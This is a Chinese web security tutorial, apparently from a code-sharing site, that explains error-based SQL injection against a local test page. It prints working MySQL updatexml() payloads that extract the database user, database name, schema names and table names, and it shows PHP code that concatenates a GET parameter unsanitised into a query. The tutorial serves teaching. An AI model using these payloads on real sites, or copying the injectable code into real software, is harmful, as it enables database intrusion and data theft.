Web安全解析報(bào)錯注入攻擊原理
1.報(bào)錯注入攻擊
報(bào)錯注入攻擊的測試地址:http://127.0.0.1/sqli/error.php?username=1。
訪問該網(wǎng)址時(shí),頁面返回ok,如圖28所示。
圖28 訪問username=1時(shí)頁面的的結(jié)果
訪問http://127.0.0.1/sqli/error.php?username=1',因?yàn)閰?shù)username的值是1',在數(shù)據(jù)庫中執(zhí)行SQL時(shí),會因?yàn)槎嗔艘粋€(gè)單引號而報(bào)錯,輸出到頁面的結(jié)果如圖29所示。
圖29 訪問username=1'時(shí)頁面的的結(jié)果
通過頁面返回結(jié)果可以看出,程序直接將錯誤信息輸入到了頁面上,所以此處可以利用報(bào)錯注入獲取數(shù)據(jù)。報(bào)錯注入有多種格式,此處利用函數(shù)updatexml()延時(shí)SQL語句獲取user()的值,SQL語句如下所示。
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
Updatexml()函數(shù):Updatexml(xml_target,xpath_expr,new_xml)
xml_target
:需要操作的xml片段
xpath_expr
:需要更新的xml路徑(Xpath格式)
new_xml
:更新后的內(nèi)容
其中0x7e是ASCII編碼,解碼結(jié)果為~,如圖30所示。
圖30 利用updatexml獲取user()
然后嘗試獲取當(dāng)前數(shù)據(jù)庫的庫名,如圖31所示,語句如下所示。
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
圖31 利用updatexml獲取database()
接著可以利用select語句繼續(xù)獲取數(shù)據(jù)庫中的庫名、表名和字段名,查詢語句與Union注入的相同。因?yàn)閳?bào)錯注入只顯示一條結(jié)果,所以需要使用limit語句。構(gòu)造的語句如下所示。
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
結(jié)果如圖32所示,以此類推,可以獲取所有數(shù)據(jù)庫的庫名。
圖32 利用報(bào)錯注入獲取數(shù)據(jù)庫名
如圖33所示,構(gòu)造查詢表的語句,如下所示,可以獲取數(shù)據(jù)庫test的表名。
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
圖33 利用報(bào)錯注入獲取數(shù)據(jù)庫表名
2.報(bào)錯注入代碼分析
在報(bào)錯注入頁面中,程序獲取GET參數(shù)username后,將username拼接到SQL語句中,然后到數(shù)據(jù)庫查詢。如果執(zhí)行成功,技術(shù)處ok;如果出錯,則通過echo mysqli_error(@&con)將錯誤信息輸出到頁面(mysqli_error返回上一個(gè)MySQL函數(shù)的錯誤),代碼如下所示。
<?php $con=mysqli_connect("localhost","root","root","test"); // 檢測連接 if (mysqli_connect_errno()) { echo "連接失敗: " . mysqli_connect_error(); } $username = @$_GET['username']; $sql = "select * from users where `username`='".$username."'"; if($result = mysqli_query($con,$sql)) { echo "ok"; } else { echo mysqli_error($con); } ?>
輸入username=1'時(shí),SQL語句為select *from users where `username`=‘1'。執(zhí)行時(shí),會因?yàn)槎嗔艘粋€(gè)單引號而報(bào)錯。利用這種錯誤回顯,我們可以通過floor()、updatexml()等函數(shù)將要查詢的內(nèi)容輸出到頁面上。
以上就是Web安全解析報(bào)錯注入攻擊原理的詳細(xì)內(nèi)容,更多關(guān)于Web安全報(bào)錯注入攻擊的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
16進(jìn)制的轉(zhuǎn)換之javascript運(yùn)行時(shí)會自動轉(zhuǎn)碼
16進(jìn)制的轉(zhuǎn)換之javascript運(yùn)行時(shí)會自動轉(zhuǎn)碼...2007-05-05Web網(wǎng)絡(luò)安全分析Base64注入攻擊原理詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全分析Base64注入攻擊原理詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11Web網(wǎng)絡(luò)安全解析cookie注入攻擊原理
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全分析cookie注入攻擊原理詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2021-11-11系統(tǒng)安全之加密與解密的應(yīng)用技巧與使用方法
系統(tǒng)安全之加密與解密的應(yīng)用技巧與使用方法...2007-08-08